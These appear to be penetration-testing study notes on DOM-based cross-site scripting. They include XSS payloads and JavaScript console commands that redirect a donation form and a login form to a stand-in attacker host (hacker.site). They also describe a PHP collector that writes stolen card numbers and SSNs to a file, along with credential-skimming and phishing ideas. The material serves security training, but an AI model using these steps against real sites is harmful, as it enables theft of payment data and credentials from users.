DOM

This is a purely Client Sided attack that exploits the JS DOM. This 'hack' will be invisible to the server and appear as typical user behavior but may trigger AI/Heuristic WAFs if the request is outside of normal behavior; example - dumping a users savings account.

This attack works when visible client sided JS scripts can access and modify the DOM. Because we can then edit this input for our attack. Tools like firebug and DOM inspector can help you to map the DOM tree "leaves" and consider what DOM functions you should use.

This vulnerability happens when JS code uses DOM values in client side logic in which the DOM values can be user supplied. Sanitization of DOM values before logic prevents this.

DOM XSS example:

In this example we saw that any edits to the URL for the "amount" field got written to the donate box. This was found since there were buttons to donate preconfigured amounts ($10, $50, etc) and we saw in the source code that it makes the edit by using DOM ID tags which write to the property of the object.

Dono buttons on a site

The client side script that modifies the donation amounts based on selection

Then we try junk data

And see that it populates the amount to donate

Next we want to try some tagging. After tagging like <h1> works we try: amount="><img src="aaa" onerror="alert(document.domain)"> or amount="><svg/onload="alert(document.domain)"> If this works we would see an alert box after we hit the triggering action.

alert box works!

Now in the JS console: >>document.forms This will display some number of forms that we can check by doing array style indexing.

We have 2 forms [0,1]

If we do something like >>doument.forms[1].action="test.html" Then when we click on the donate button. If test.html is a non existent page on the site directory then It would send the form data to the test.html site but result in a 404 Not Found error or similar. Using this info we can instead poison the page with our remote site to receive the data.

The PHP script to gather this data would be like the below. Then store it at our domain. The script grabs the 'cc' and 'ssn' attributes seen in the POST and writes them to the loot.txt file.

steal.php stored at hacker.site

Now we craft the link and if its stored, anyone who clicks on it will become a victim. If this is reflected then we can also slightly modify the killchain and send the link to victims.

Using our domain at hacker.site

We then hit enter and should stay on the same page but now when we enter the form data and hit donate we send the transaction to our machine. The steal.php script is hosted on our remote attacker machine.

DOM iframe:

DOM XSS does not have to follow the same SOP rules that reflected and stored XSS does. One can exploit DOM XSS from an iframe referencing the SOP of the cookie.

Always try a document.domain from iframe xss first and make sure its the correct domain. Some iframes are sandboxed.

Next steps; If you have DOM control you have almost full control of the webpage. With this, it is possible to do things like inject credential skimmer scripts into the page. Much like a phish but using the actual site to achieve the same result.

XSS Phish:

If you find out that you have DOM control on a login page then you can modify the ACTION param of the FORM tag. A typical FORM tag may look like the following:

<form name="loginform" method="POST" action="/checklogin.cgi">

Our change in the JS console may look something like:

js> document.forms[0].action="https://hacker.site/handler.php";

Handling the XSS traffic can be done manually via a web stack and a php file or it can also be handled with tools like BeEF and MSF's "Browser Autopwn" module.